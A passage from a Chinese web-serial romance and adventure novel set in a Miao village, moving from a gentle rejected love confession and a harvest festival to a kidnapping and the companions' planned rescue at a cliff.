沈司南挑了挑眉，刚要打趣两句，就见阿芷从袖兜里掏出个绣得精致的荷包，荷包上绣着只展翅的蝴蝶，针脚细密，一看就是花了不少心思的。她攥着荷包的带子，犹豫了半天，才鼓起勇气递到许祭面前。 “许二哥，这个……送你。”阿芷的声音带着点颤，眼睛盯着自己的鞋尖，不敢抬头，“我绣了好久的，里面装着驱虫的草药，你逛集市的时候带着，能防蚊虫。” 许祭看着那只绣工精美的荷包，又看了看阿芷泛红的耳根，没有立刻伸手去接。他先是轻笑了一声，而后转过身，目光在满屋子的人里转了一圈，最后定格在沈司南身上，指尖轻轻一抬，准确无误地指向了他。 “谢谢你的好意，”许祭的声音温和，却带着不容置疑的认真，“但我有喜欢的人了，就在这儿呢。” 话音落下的瞬间，竹楼里安静了一瞬。 阿芷举着荷包的手僵在半空，脸上的红晕以肉眼可见的速度褪去，慢慢变得有些苍白。绫司司张着嘴，一脸的难以置信，刚想开口问什么，就看见沈司南挑着眉走过来，伸手揽住许祭的肩膀，似笑非笑地看向阿芷：“小姑娘，眼光不错，可惜啊，他早就是我的人了。” 许祭没反驳，反而侧过头，和沈司南对视了一眼，眼底的笑意藏都藏不住。 阿术最先反应过来，连忙打圆场，伸手把妹妹手里的荷包接过来，笑着拍了拍她的背：“傻丫头，早跟你说过许二哥身边有人了，偏不信。” 阿芷咬着唇，小声说了句“对不起”，就红着眼眶躲回了里屋。 竹楼外的夕阳把最后一抹光洒进来，落在许祭和沈司南相视而笑的脸上，暖融融的，像一汪化不开的甜。 阿术把羞红脸躲进里屋的阿芷安抚好，转身从墙角的陶瓮里舀出一坛酒，泥封一启，醇厚的酒香瞬间漫了满室，压过了蜜饯的甜和草药的清苦。 “这是苗家自酿的糯米酒，埋在院子里三年了，今儿个难得人齐，正好开了助兴。”阿术笑着摆开粗陶碗，给每人都斟了满满一碗，酒液清冽，泛着淡淡的米白色光晕。 许祭端起碗，和沈司南的碗沿轻轻一碰，眉眼弯着：“算你有良心，没拿那些兑水的低度酒糊弄我。” 沈司南挑眉，喝了一口，酒香混着米香在舌尖散开，喉间暖融融的：“三年份的酒，果然不一样。” 绫司司捧着碗，小口抿着，甜丝丝的酒液滑入喉咙，她忍不住眯起眼：“好喝！比我爹藏的白酒好喝多了！” 梨霄宫和上官渡也浅酌着，两人相视一笑，眉眼间都是惬意。竹楼外的夕阳彻底沉了下去，暮色渐浓，檐下的灯笼被阿术点了起来，昏黄的光透过竹缝漏进来，落在众人脸上，添了几分暖意。 “说起来，”阿术喝了半碗酒，脸颊泛红，靠在椅背上，晃着手里的碗，“上次你帮我鉴定的那只宋代瓷碗，转手卖了个好价钱，回头我给你包个红包。” 许祭摆摆手：“不用，你这儿的无痕草和蜜饯，抵了就成。”他说着，转头看向沈司南，眼底的笑意藏不住，“倒是他，上次从我这儿蹭走的那幅老绣片，还没给我算账呢。” 沈司南伸手捏了捏他的脸颊，语气带着戏谑：“那绣片配我新炼的驱虫蛊正合适，算你入股了。” 绫司司听得新奇，凑过来追问：“什么驱虫蛊？是不是比阿芷的草药荷包还管用？” 梨霄宫笑着敲了敲她的脑袋：“你呀，就知道惦记这些，小心被蛊虫咬了。” 上官渡则慢悠悠地摇着折扇，接话道：“苗寨的蛊术博大精深，驱虫只是皮毛，真正厉害的……” 话没说完，就被阿术笑着打断：“别吓唬小姑娘了。” 酒过三巡，众人脸上都带了醉意，说话的声音渐渐放柔，竹楼里的笑声和着酒香，飘出窗外，落在院子里的无痕草上。夜色渐深，远处传来苗寨姑娘的歌声，清越婉转，和着这满室的酒香，成了最动人的背景音。 夜风吹得竹楼檐角的灯笼轻轻晃，昏黄的光落在院角的无痕草上。绫司司捧着半块没吃完的蜜饯，正蹲在台阶上看月亮，身后忽然传来一阵轻轻的脚步声。 她回头，看见阿芷红着眼眶站在那里，手里还攥着那个没送出去的蝴蝶荷包。 “绫司司姐姐，”阿芷的声音软乎乎的，带着点没散去的委屈，“我能不能问你个事？” 绫司司连忙拍拍身边的台阶，让她坐过来：“你说。” 阿芷挨着她坐下，手指无意识地摩挲着荷包上的蝴蝶纹路，小声问：“许二哥和沈大哥……他们真的是一对吗？我看他们站在一起，好像从来都没有分开过。” 绫司司愣了愣，随即忍不住笑了。她想起城南古董市那次，许祭替她出头，沈司南就站在旁边，看似漫不经心，却总能在许祭需要的时候搭把手；想起苗寨集市上，两人一个唱红脸一个唱白脸，默契得不像话。 “是啊，”绫司司点头，声音放得很轻，“他们认识好多年了。许祭嘴硬，看着好像什么都不在乎，其实沈司南的事，他从来都放在心上。沈司南呢，看着懒洋洋的，却总能把许祭的脾气摸得透透的。” 她顿了顿，指着屋里透出的光——许祭正和沈司南头挨着头，在看阿术那只清代铜熏炉，两人低声说着什么，眉眼间全是笑意。 “你看，”绫司司弯着眼睛，“好的感情就是这样，不用特意说什么，站在一起就很搭。” 阿芷顺着她指的方向看去，看着屋里两人相视而笑的样子，攥着荷包的手慢慢松了。她低头看了看手里的蝴蝶荷包，小声说：“那……那我祝他们好。” 晚风又吹过来，带着蜜饯的甜香，阿芷的声音轻轻的，像一片落在水面上的羽毛。 夜色漫进竹楼，阿术刚收拾好碗筷，就听见里屋传来细细的啜泣声。她擦着手走进去，看见阿芷抱着那个绣好的蝴蝶荷包，蜷在床角，肩膀一抽一抽的，眼泪把衣襟洇湿了一大片。 “傻丫头，”阿术叹了口气，坐在床边，伸手轻轻拍着她的背，“早跟你说过，许二哥身边有人了，你偏不信，非要撞南墙。” 阿芷抬起头，眼睛红肿得像核桃，鼻尖红红的，哽咽着说：“姐，我就是……就是觉得他很好。他看熏炉的时候，眼神好认真，说话也温温柔柔的……” 她说着，眼泪又掉了下来，攥着荷包的手指发白：“我绣这个荷包，熬了三个晚上，想着他逛集市会被蚊子咬，想着……想着他能随身带着。可他说，他有喜欢的人了。” 阿术把她揽进怀里，摸着她柔软的头发，声音放得很轻：“感情这事，哪有那么多道理可讲。许二哥和沈蛊王从城南古董市到苗寨，两人一直形影不离，旁人插不进去的。” “我知道，”阿芷埋在她的肩窝，声音闷闷的，“绫司司姐姐也跟我说了，他们站在一起，就很搭。可是我还是难受。” “难受就哭出来，”阿术拍着她的后背，从抽屉里摸出块桂花糖，塞进她嘴里，“哭够了就好了。苗寨的好后生多的是，不差他一个许祭。” 阿芷含着糖，甜味漫过舌尖，却压不住心里的涩。她把脸埋得更深，眼泪沾湿了阿术的衣裳，像一场无声的雨。窗外的月光透过竹缝，落在床脚的荷包上，那只绣好的蝴蝶，在月色里，像是要振翅飞。 天刚蒙蒙亮，苗寨的鸡鸣声就穿透了薄雾。阿芷是被院子里的铜铃声吵醒的，她揉着红肿的眼睛坐起来，看见床脚的蝴蝶荷包，愣了愣神，随即轻轻把它叠好，收进了梳妆盒的最底层。 院里传来阿术和许祭他们说话的声音，她深吸一口气，对着镜子理了理双丫髻上的野蔷薇，又扯了扯水绿色的苗裙，推门走了出去。 绫司司正蹲在石磨旁，逗着阿术养的芦花鸡，看见她出来，立刻挥着手喊：“阿芷！快来！” 阿芷走过去，脸上还带着点没散尽的倦意，却努力挤出了一个笑。绫司司拉着她的手，晃了晃：“阿术姐说，今天是苗寨的赶秋节，有秋千会、芦笙舞，还有好多好吃的！我们一起去逛好不好？” 阿术端着刚蒸好的糯米饭走过来，笑着拍了拍阿芷的肩膀：“去逛逛吧，散散心。寨里的后生们今天都要比秋千，说不定能遇上合心意的。” 许祭和沈司南正靠在竹篱笆旁说话，看见阿芷，许祭对着她点了点头，眼神里带着几分歉意。阿芷却摇了摇头，小声说：“许二哥，昨天的事，是我唐突了。” 沈司南挑了挑眉，递过来一串刚摘的野山楂：“小姑娘，尝尝，甜的。” 阿芷接过山楂，咬了一口，酸甜的汁水在舌尖散开，她忍不住弯了弯眼睛。 赶秋节的集市比往日热闹了十倍，青石板路上摆满了摊位，卖糖画的、吹糖人的、烤糍粑的，吆喝声此起彼伏。芦笙声从晒谷场传来，一群穿着盛装的苗家姑娘小伙，正围着秋千跳着舞。 阿芷拉着绫司司的手，挤进人群里。晒谷场的秋千是用粗麻绳和楠木做的，荡得老高，围观的人叫好声不断。一个穿着靛蓝苗服的后生看见阿芷，笑着朝她招手：“阿芷妹妹，要不要来试试？” 阿芷犹豫了一下，被绫司司推了一把，踉跄着走到秋千旁。后生帮她系好安全带，用力一推，秋千瞬间荡了起来，风从耳边吹过，带着桂花的香气。她低头看去，绫司司正和梨霄宫、上官渡一起拍手叫好，许祭和沈司南站在不远处，肩并肩看着她，嘴角都带着笑。 风扬起她的裙角，像一只展翅的蝴蝶。阿芷忍不住张开双臂，大声笑了起来，心里的那点涩意，好像被这秋风一吹，就散了个干净。 日头渐渐升高，晒谷场的芦笙声更响了，苗寨的赶秋节，正热闹得恰到好处。 11. 兰榙又是你 暮色像一块浸了墨的苗锦，缓缓覆盖住连绵的吊脚楼。桐油灯的光晕在竹楼的窗棂上晃悠，映得悬挂在檐角的牛角号和五彩经幡明明灭灭。 绫司司的手腕被坚韧的苗家藤索反绑在房柱上，藤索上还带着新鲜的竹叶清香，却勒得她手腕火辣辣地疼。她背靠冰凉的竹壁，胸口剧烈起伏，特意为了苗寨之行准备的银质耳环随着呼吸轻轻晃动，原本挽在脑后的长发散落下来，沾了不少灰尘。作为寨里远道而来的贵客，她怎么也没想到，会以这样狼狈的方式，被困在这座陌生的竹楼里。 守在竹楼门口的，是几个穿着青色苗服的汉子，腰间别着锋利的柴刀，而站在屋中央，正低头摩挲着一枚绣着兰草纹银饰的女人，正是兰榙安插在苗寨的亲信——舒楠楠。 “别白费力气了，这藤索是苗寨最韧的老藤泡过桐油编的，你挣不脱。”舒楠楠的声音带着苗寨特有的腔调，却冷得像山涧的冰泉。她抬眼扫过绫司司，目光落在她脖颈间挂着的那枚竹牌上——那是九个月前，上官渡带着她在寨口的祈福树下亲手刻的，竹牌上刻着苗语里“挚友”的字样，是两人友谊的见证。 绫司司咬牙，喉咙里溢出一声闷哼。方才她跟着上官渡的同族妹妹去后山观赏千年古杉，不过是转身系鞋带的片刻，那姑娘就被打晕在地，舒楠楠带着人瞬间将她围堵。她虽有几分自保能力，可舒楠楠不仅人多势众，还拿着沾了麻药的手帕，她甚至没来得及掏出手机联系上官渡，就被迷晕过去。 “舒楠楠，你抓我到底想干什么？”绫司司的声音沙哑，银牙几乎要咬碎，“兰榙和上官渡的恩怨，冲她去就是，抓我这个无关的客人算什么本事！” 舒楠楠轻笑一声，将那枚兰草银饰别在自己的衣襟上，缓步走到绫司司面前。她蹲下身，手指轻轻拂过绫司司脖颈间的竹牌，语气里带着毫不掩饰的算计：“无关？你要是真无关，上官渡这个土生土长的苗寨姑娘，怎么会天天放下寨里的事，陪着你这个认识才九个月的外乡人四处闲逛？你是她的软肋，是她放在心尖上护着的人，这就够了。” 绫司司的瞳孔骤然收缩，心瞬间沉到了谷底。九个月前，她因采风偶然来到这座偏远的苗寨，迷了路又发了高烧，是上山采药的上官渡救了她。两人年龄相仿，性格相投，很快就成了最好的朋友。上官渡会教她唱苗寨的山歌，带她看最壮美的梯田云海；她会给上官渡讲外面世界的繁华，帮寨里的孩子辅导功课。这份干净纯粹的友谊，此刻却成了舒楠楠手中最锋利的武器。 “明天清晨，让上官渡孤身来后山的断魂崖。”舒楠楠站起身，拍了拍衣袖上的灰尘，语气森然，“不准带寨里的任何人，不准耍任何花样。她要是敢晚来一步，或者敢带一个人，我就把你推下断魂崖，让你葬身在那万丈深渊里。” 说完，她转身朝门口走去，脚步踩在竹楼上，发出咯吱的声响。“看好她，别让她死了，也别让她跑了。” 竹门被重重关上，留下绫司司和几个守在门口的汉子。窗外，传来了山风呼啸的声音，夹杂着几声夜鸟的啼叫，让整个苗寨都陷入了一片死寂。绫司司望着竹楼外的月色，心里又急又怕，却更担心上官渡会因为自己，陷入舒楠楠布下的陷阱——她太清楚，上官渡对这片土地和身边人的执念有多深。 与此同时，位于苗寨中心的上官家吊脚楼里，上官渡正焦躁地踱来踱去。她穿着一身靛蓝色的苗家布衣，头上缠着绣着花鸟的头帕，褪去了面对外人时的沉稳，眉宇间满是焦急。手里紧握着手机，屏幕上显示着绫司司的号码，却始终无人接听。 她这次特意推掉了寨里的不少事务，就是想好好陪绫司司走完这段旅程。约定好的，绫司司观赏完古杉就回来一起吃晚饭，可现在，天已经黑透了，她却连个消息都没有。 “阿渡，别太着急，司司姑娘是外乡人，说不定是被哪户人家热情挽留了。”上官渡的阿婆端着一碗热乎的苗家米酒，试图安慰她。 可上官渡的心，却像是被一只无形的手紧紧攥住。她太了解绫司司了，哪怕是临时被留下，也一定会提前发个消息，绝不会这样无缘无故地失联。更何况，陪绫司司去后山的，是她最信任的堂妹。 就在这时，房门被轻轻推开，一个穿着苗服的小孩跑了进来，手里举着一张折叠的纸条，还有一枚银质的耳环——那是上官渡上个月用自己织的苗锦换的钱，送给绫司司的生日礼物，绫司司一直视若珍宝，走到哪都戴着。 “上官姐姐，有个穿青衣服的阿姨让我把这个给你。” 上官渡的心脏猛地一缩，她快步走过去，一把夺过纸条和耳环。手指颤抖着展开纸条，上面的字迹歪歪扭扭，却带着浓浓的威胁之意。 “明日清晨，断魂崖，孤身赴约。违令者，绫司司死。” 短短十几个字，却像一把淬了毒的尖刀，狠狠刺进上官渡的心脏。她猛地攥紧纸条，指节泛白，纸张在她手中被揉成了一团。 那枚银耳环的边缘，还带着一丝若有若无的血迹。 窗外，月色如水，洒在苗寨的吊脚楼上，映得一切都蒙上了一层冷光。上官渡缓缓抬头，目光望向后山断魂崖的方向，眸底翻涌着惊涛骇浪。九个月的相识，时光不算长，却早已让绫司司成了她生命里最珍贵的朋友。 舒楠楠，兰榙。 她低声念出这两个名字，声音里带着彻骨的寒意，还有一丝誓死守护的决绝。作为土生土长的苗寨人，她熟悉后山的每一寸土地，可此刻，那片熟悉的山林，却成了最危险的龙潭虎穴。 明日清晨，断魂崖。 她会去。 哪怕前方是刀山火海，是万丈深渊，她也必须去。 因为那里，有她的绫司司。 夜色渐浓，苗寨的吊脚楼灯火渐次熄灭，唯有寨心的祭祀竹楼和上官家的竹楼还亮着桐油灯的光，橘黄的光晕在夜色里摇摇晃晃，像两颗挣扎的星子。 上官渡攥着那枚带血的银耳环和揉得发皱的纸条，指节因用力而泛白。她在竹楼里焦躁地踱了几圈，眸底的惊涛骇浪渐渐沉淀为冷静的决绝——舒楠楠布下的局，明着是逼她孤身赴约，实则是算准了她不敢惊动全寨族人，怕牵累无辜。可她也清楚，仅凭自己一人，就算熟稔后山的每一寸土地，也绝难从舒楠楠手里安然救出绫司司。 她必须找帮手。 脑海里第一个跳出来的，是沈司南和许祭。 沈司南是苗寨的大祭祀，不仅掌管着寨里的祭祀仪式，更凭借着世代相传的秘术，对后山的地形、瘴气分布了如指掌，一手用毒驱蛊的本事更是出神入化，连寨里的老人都敬他三分；许祭则是绫司司带来的朋友，和绫司司一同做客苗寨，性格看似温和，实则拳脚功夫利落，更重要的是，他对绫司司的在意丝毫不亚于自己，绝对信得过。 上官渡不敢耽搁，随手抓过挂在门后的靛蓝苗布外褂披在身上，又从床底的木箱里翻出两把磨得锃亮的苗刀，一把别在腰间，一把用布裹好揣进怀里。她轻轻推开竹门，生怕惊动了隔壁熟睡的阿婆，脚步放得极轻，却快得像一阵掠过吊脚楼的山风。 沈司南的祭祀竹楼在寨心最高处，此刻竹楼里还亮着灯，窗纸上映着他低头翻阅古老苗经的身影。作为大祭祀，他的竹楼向来清净，极少有人深夜到访。 上官渡推开门闯进去的时候，沈司南正捏着一枚刻着复杂纹路的竹符，抬头看到她脸色煞白、眼神焦灼的样子，眉头瞬间蹙起，声音里带着祭祀特有的沉稳：“阿渡，深夜至此，可是出了大事？” “司南，绫司司被舒楠楠抓了。”上官渡的声音带着难以掩饰的颤抖，却字字清晰，“舒楠楠让我明天清晨孤身去断魂崖，否则，就杀了她。” 沈司南手里的竹符“啪”地掉在案几上，他猛地站起身，素来平静的眸子里闪过一丝厉色，语气里带着不容置疑的威严：“舒楠楠？兰榙安插在寨里的蛀虫！她敢动寨中的贵客，是不把我这个大祭祀放在眼里？” “我不能孤身去，那是自投罗网，根本救不出司司。”上官渡深吸一口气，压下心头的慌乱，“我来找你，还有许祭。我需要你们的帮忙。” 话音刚落，祭祀竹楼的门又被人从外面轻轻推开，许祭站在门口，身上还穿着来时的休闲装，原本温和的眉眼在听到“绫司司被抓”四个字时，瞬间覆上了一层寒霜。他是被上官渡的动静惊动的——他和绫司司的民宿就在上官家附近，一路跟了过来。 “我都听到了。”许祭的声音低沉，带着压抑的怒火，他快步走到上官渡身边，目光坚定，“阿渡姑娘，司司是我最好的朋友，她出了事，我不可能坐视不理。舒楠楠敢动她，我定要让她付出代价。” 沈司南已经快速收起案几上的苗经，从竹楼的暗格里取出一个精致的竹盒，里面装着他的淬毒银针和驱瘴药粉。他走到两人面前，神色冷静地分析道：“后山的地形我比谁都熟，断魂崖附近有一条隐秘的藤萝小道，可以绕到崖顶的埋伏点。舒楠楠心狠手辣，肯定会在崖下布下重兵，崖顶也会安排暗哨，我们兵分三路最为稳妥。” “怎么分？”上官渡立刻追问，眸子里重新燃起了希望的火光。 “你按舒楠楠的要求，孤身去断魂崖底赴约，吸引她的全部注意力。”沈司南的声音条理清晰，带着不容置疑的决断，“我带着银针和驱瘴药粉，从藤萝小道绕到崖顶，负责解决舒楠楠安排在上面的暗哨，顺便摸清绫姑娘的关押位置，伺机发出信号。许祭，你身手好，就潜伏在崖底的密林里，等我发出竹哨信号，就立刻冲出去牵制舒楠楠的手下，给阿渡创造机会。” 许祭点头应下，又补充道：“舒楠楠的近身功夫不弱，阿渡姑娘你交手时切记别硬拼，尽量拖延时间。我会尽快解决掉她的爪牙，和你汇合。” 上官渡紧紧攥住怀里的苗刀，心里悬着的石头终于落了地。九个月的时间，她早已把绫司司当成生命里最重要的朋友；而沈司南，是她从小信任的大祭祀，是寨里的守护者；许祭，是绫司司最依赖的朋友，也是此刻最可靠的战友。 三个站在同一阵线的人，目光交汇间，没有多余的言语，只有誓死救出绫司司的决绝。 “明天清晨寅时，我们在断魂崖西侧的千年古松集合。”上官渡的声音不再颤抖，带着苗寨儿女特有的坚韧，“我会尽量稳住舒楠楠，你们一定要小心，舒楠楠的手段阴狠，不可大意。” “放心。”沈司南和许祭异口同声地回答。 夜色更沉了，山林里传来几声夜鸟的啼叫，凄厉而悠长。上官渡辞别了两人，快步走回自己的竹楼。她站在窗前，望着后山断魂崖的方向，手里紧紧握着那枚竹牌——那是她和绫司司在祈福树下刻的，上面写着苗语的“挚友”。 明日清晨，不仅是为了救回绫司司，也是为了彻底清除兰榙和舒楠楠这两颗藏在苗寨里的毒瘤。 她的身后，有最信任的伙伴。 这一次，她们一定能赢。 寅时的苗寨还浸在浓得化不开的墨色里，晨雾像一层薄纱，裹着后山的密林，连虫鸣都低哑得近乎消失。 许祭按照约定，提前半个时辰赶到断魂崖西侧的古松附近潜伏。他选了一处枝叶茂密的矮树，身形蜷缩在阴影里，目光警惕地扫过四周——舒楠楠的人多半已经在崖底布防，他必须摸清对方的岗哨分布，才能在信号响起时，以最快速度冲出去牵制敌人。 夜风带着山林的湿冷，吹得树叶沙沙作响。许祭屏住呼吸，指尖无意识地摩挲着腰间别着的短刀，心里全是绫司司被绑时的模样。他和绫司司认识多年，从大学时的同窗到如今的挚友，她的笑容总是明媚得像太阳，此刻却可能正缩在某个冰冷的角落，承受着恐惧和痛苦。一想到这里，许祭的眸底就腾起一层压抑的怒火。 就在这时，一阵极轻的啜泣声，顺着风飘进了他的耳朵。 声音很细，带着少女特有的软糯，却又裹着浓浓的委屈，不像是舒楠楠那些手下会发出的动静。许祭的神经瞬间绷紧，他缓缓挪动身体，透过枝叶的缝隙，朝声音传来的方向望去。 那是一处被藤蔓半掩的山洞，洞口只容一人通过，昏黄的火光从里面透出来，在雾色里晕出一小片暖光。火光下，一个穿着浅粉色布裙的少女正蜷缩在洞口的石头上，双手抱着膝盖，肩膀一抽一抽的，乌黑的长发垂下来，遮住了大半张脸。她的脚上没有穿鞋，白皙的脚腕上，赫然缠着一根粗麻绳，绳子的另一端，系在山洞深处的一根石笋上。 许祭的眉头微微皱起。 舒楠楠的布防应该都集中在断魂崖底，怎么会在这种偏僻的山洞里，绑着一个看起来毫无威胁的少女？ 他按捺住心头的疑惑，缓缓抽出腰间的短刀，用刀背轻轻拨开挡路的藤蔓，放轻脚步，一点点朝山洞靠近。那少女似乎太过沉浸在自己的悲伤里，竟没有察觉到有人靠近。直到许祭走到离她只有几步远的地方，她才猛地抬起头，一双通红的兔子眼撞进许祭的视线里。 那是一张和舒楠楠有七分相似的脸，只是舒楠楠的眉眼间满是阴鸷和算计，而这少女的眼睛却清澈得像山涧的泉水，此刻正盛满了惊恐和无助。 “你是谁？”少女的声音带着哭腔，身体下意识地往后缩了缩，被绳子牵扯着，发出一声痛呼。 许祭没有立刻回答，他的目光落在少女脚腕的麻绳上，又扫了一眼她身上干净却略显陈旧的布裙，心里忽然闪过一个念头。他想起之前听绫司司提起过，舒楠楠似乎有一个妹妹，只是因为身体不好，一直被藏在老家，极少有人见过。 “你叫什么名字？”许祭的声音放得很低，尽量让自己的语气听起来温和一些，避免吓到对方。 少女咬着嘴唇，犹豫了片刻，才怯生生地开口：“我……我叫舒欣欣。” 舒欣欣。 果然是舒楠楠的妹妹。 许祭的眸底闪过一丝惊讶，随即迅速冷静下来。舒楠楠心狠手辣，为了达到目的不择手段，怎么会把自己的亲妹妹绑在这里？而且看舒欣欣的样子，不像是被敌人俘虏，反倒像是……被自己人软禁。 “是你姐姐舒楠楠把你绑在这里的？”许祭开门见山，目光紧紧锁定着舒欣欣的表情。 舒欣欣听到“舒楠楠”三个字，眼泪瞬间又涌了出来，她用力点了点头，声音哽咽得几乎说不出完整的话：“是……是姐姐。她说……她说我在这里很安全，等她办完事情，就会来接我。可是我害怕……这里好黑，我想回家。” 许祭的心里瞬间掀起了惊涛骇浪。 舒楠楠把亲妹妹藏在这种偏僻的山洞里，绝不是为了安全那么简单。她大概率是算准了自己此行可能有去无回，或者是怕妹妹落在别人手里，成为牵制她的筹码。而这个舒欣欣，看起来单纯又无辜，显然对自己姐姐的所作所为一无所知。 一个大胆的念头，在许祭的脑海里迅速成型。 他看了一眼天色，寅时已过，距离和上官渡、沈司南约定的时间越来越近了。他不能在这里耽搁太久，却也不能放着舒欣欣不管——她不仅是舒楠楠的妹妹，更是一个可能打破僵局的关键。 许祭快步走到舒欣欣面前，掏出短刀，小心翼翼地割断了她脚腕上的麻绳。“我是来救绫司司的，她是被你姐姐抓走的。”他的声音简洁明了，“现在我没时间带你离开，你待在这里，不要出声，不要乱跑，等我解决了外面的人，就来接你。” 舒欣欣的眼睛里满是茫然，却还是下意识地点了点头。她能感觉到，眼前这个陌生的男人，身上没有舒楠楠那些手下的戾气，反而带着一种让人安心的力量。 许祭最后看了一眼缩在石头上的舒欣欣，确认她暂时不会有危险，才转身快速退出山洞，重新隐入密林的阴影里。 只是这一次，他的心里多了一份笃定。 舒楠楠啊舒楠楠，你千算万算，恐怕也不会想到，你藏起来的亲妹妹，会成为你的致命破绽。 崖底的风，似乎比刚才更冷了。许祭握紧了手里的短刀，目光望向断魂崖的方向，眸底的怒火里，多了一丝志在必得的锋芒。 晨雾如苗寨的轻纱，缠缠绕绕地漫过断魂崖的藤萝小道。沈司南手持竹制罗盘，指尖捏着驱瘴药粉，脚步轻得像林间的山猫，沿着崖壁上隐秘的藤蔓缓缓上行。作为苗寨大祭祀，他对后山的每一处瘴气带、每一道暗涧都了如指掌，此刻却刻意放慢了速度——舒楠楠必定在崖顶布下暗哨，他需先清剿隐患，才能为后续的营救行动扫清障碍。 罗盘的指针微微颤动，提示前方三丈处有活人的气息。沈司南眸光一凛，迅速侧身隐入崖壁的一处凹陷，周身的气息瞬间与山林融为一体。他屏息凝神，透过藤蔓的缝隙望去，只见一道挺拔的身影正倚在崖顶的古松旁，一身靛蓝色的苗家短打，腰间别着一把磨得锃亮的柴刀，与周围的青翠绿意浑然一体。 男人手中攥着一枚绣着缠枝莲纹的竹牌，那是苗寨青年互赠的信物，他目光死死地锁着崖底的方向，眉峰紧蹙，周身散发着一股压抑的焦灼与戾气。那眉眼间的轮廓，沈司南再熟悉不过——是寨里猎户家的谢禹玉。 谢禹玉是土生土长的苗寨人，祖辈都以打猎为生，一手弓箭功夫在寨里无人能及。沈司南早已知晓他对绫司司的心思，自绫司司作为贵客来到苗寨，谢禹玉便常以送野味、领路为由围在她身边，那份未曾宣之于口的爱慕，连寨里的老人都看在眼里。 谢禹玉显然不是偶然出现在这里。他的靴底沾着断魂崖特有的红泥，裤脚被崖壁的荆棘划破了几道口子，显然是一路摸黑从后山的猎道闯上来的。他紧握着腰间的柴刀，指节因用力而泛白，想来是怕打草惊蛇，危及绫司司的安全，才迟迟没有贸然行动。 就在沈司南思索着如何与这个寨里的后辈交涉时，谢禹玉似乎察觉到了什么，猛地转头望向沈司南藏身的方向，右手迅速摸向腰间的柴刀，动作间带着猎户特有的敏锐与警惕。 “谁？出来！”谢禹玉的声音低沉而沙哑，带着山林里练就的野性，“莫不是舒楠楠的狗腿子？” 沈司南缓缓从凹陷处走出，手中的罗盘垂在身侧，脸上带着祭祀特有的沉稳，没有丝毫慌乱。“寨里大祭祀，沈司南。”他报上名号，目光平静地与谢禹玉对视，“你是猎户谢家的禹玉，为何会在此处？也是为绫姑娘而来？” 谢禹玉的瞳孔微微收缩，握着柴刀的手没有放松，却也没有立刻发难。他上下打量着沈司南，见对方身着祭祀的传统服饰，周身并无恶意，才缓缓放下了柴刀，语气依旧带着戒备：“沈大祭？您怎么会在这里？司司被舒楠楠抓了，我不能看着她出事！” 那份毫不掩饰的急切与担忧，让沈司南的眸色微动。他能理解这份心情，却也清楚，冲动解决不了任何问题。“与上官渡有约，共救绫姑娘。”沈司南直言不讳，目光扫过谢禹玉腰间的柴刀，“此处是舒楠楠的暗哨范围，你贸然现身，不仅会暴露自己，还会打乱我们的计划，危及绫姑娘的性命。你该清楚，舒楠楠的心狠手辣，连寨里的长辈都忌惮三分。” 谢禹玉的脸色瞬间沉了下来，他自然知道自己的行为有多冒险，可一想到绫司司那张总是带着笑意的脸，可能正被泪水打湿，他便无法在自家的吊脚楼里坐以待毙。“我等不了。”他的声音里带着一丝哽咽，“司司是我放在心尖上的人，她来我们苗寨作客，我们就该护她周全。如今她落难，我这个寨里人，岂能袖手旁观？” 沈司南沉默了片刻，目光落在谢禹玉手中那枚竹牌上——那是谢禹玉亲手雕刻，本想在丰收节送给绫司司的。他心中迅速权衡利弊，谢禹玉对后山的猎道比自己更熟悉，一手弓箭更是百发百中，若能拉他入伙，无疑是如虎添翼。 “舒楠楠在崖底布下重兵，崖顶也有三处暗哨巡逻。”沈司南的声音冷静而有条理，“你孤身一人，即便箭术再高，也难敌四手。不如暂时与我合作。我熟悉舒楠楠的暗哨布防，能帮你避开他们。你箭术精准，或许能在关键时刻，成为破局的关键。” 谢禹玉咬了咬牙，目光再次望向崖底的方向，那里是绫司司被关押的地方。他最终还是缓缓点了点头，握紧了腰间的柴刀：“好！我听沈大祭的。但你必须保证，司司的安全。” “我与上官渡的目标，与你一致。”沈司南淡淡开口，随即从袖中取出一包驱瘴药粉，递给谢禹玉，“此药粉可掩盖气息，避免被舒楠楠的人察觉。跟紧我，脚步放轻，不要发出任何声音。你的弓箭，留到最关键的时候用。” 谢禹玉接过药粉，迅速撒在自己身上，动作利落。他跟在沈司南身后，脚步放得极轻，目光依旧警惕地扫过四周，猎户的本能让他对任何风吹草动都极为敏感。 两人一前一后，沿着崖顶的边缘缓缓移动。沈司南凭借罗盘的指引，精准地避开了两处暗哨的巡逻路线。谢禹玉看着沈司南轻车熟路的样子，心中的戒备渐渐放下了几分，他能感觉到，这位大祭祀，是真的想救绫司司。 “舒楠楠的暗哨，一共有三处。”沈司南的声音压得极低，只有两人能听见，“我会用银针解决掉他们。你负责接应，若有突发情况，立刻用弓箭牵制，切记不可暴露位置。” 谢禹玉点了点头，悄然取下背上的弓箭，指尖搭在箭囊里的箭羽上，蓄势待发。 晨光微熹，透过晨雾洒在断魂崖的崖顶。沈司南的身影如同鬼魅，手中的淬毒银针闪电般射出，精准地没入两名暗哨的脖颈。暗哨连哼都没哼一声，便软软地倒了下去。 最后一名暗哨似乎察觉到了异常，正欲转身呼喊，谢禹玉的动作比他更快——弓弦轻响，一支羽箭如流星般射出，精准地穿透了对方的喉咙。动作干净利落，没有丝毫拖泥带水，尽显猎户的精准与狠辣。 沈司南看着谢禹玉的箭术，眸色微微一凝。果然，寨里的猎户，从不会让人失望。 解决完所有暗哨，沈司南走到崖顶的边缘，向下望去。崖底的空地上，已经隐约能看到舒楠楠的人在来回巡逻。他从袖中取出一支竹哨，放在唇边，却没有立刻吹响。 “绫姑娘应该被关押在崖底东侧的山洞里，那里是舒楠楠的后方，防守相对薄弱。”沈司南指了指下方的一处隐秘角落，“我会先吹响竹哨，发出信号。上官渡会在崖底吸引舒楠楠的注意力，许祭会从密林里冲出牵制敌人。你从崖顶的猎道滑下去，直扑东侧山洞，你的弓箭可以压制山洞外的守卫，负责营救绫姑娘。” 谢禹玉的目光瞬间锁定在沈司南所指的方向，眸底燃起了熊熊的火焰。他攥紧了手中的竹牌，声音里带着誓死的决绝：“好！我定将司司平安带出来！” 沈司南看了一眼天色，寅时已过，约定的时间到了。他深吸一口气，将竹哨凑到唇边，一声清脆而短促的哨音，冲破晨雾，在断魂崖的山谷间回荡开来。 信号已发。 谢禹玉没有丝毫犹豫，转身抓过崖壁上的猎道藤索，纵身跃下，动作敏捷得像一只雄鹰，朝着崖底东侧的山洞疾驰而去。 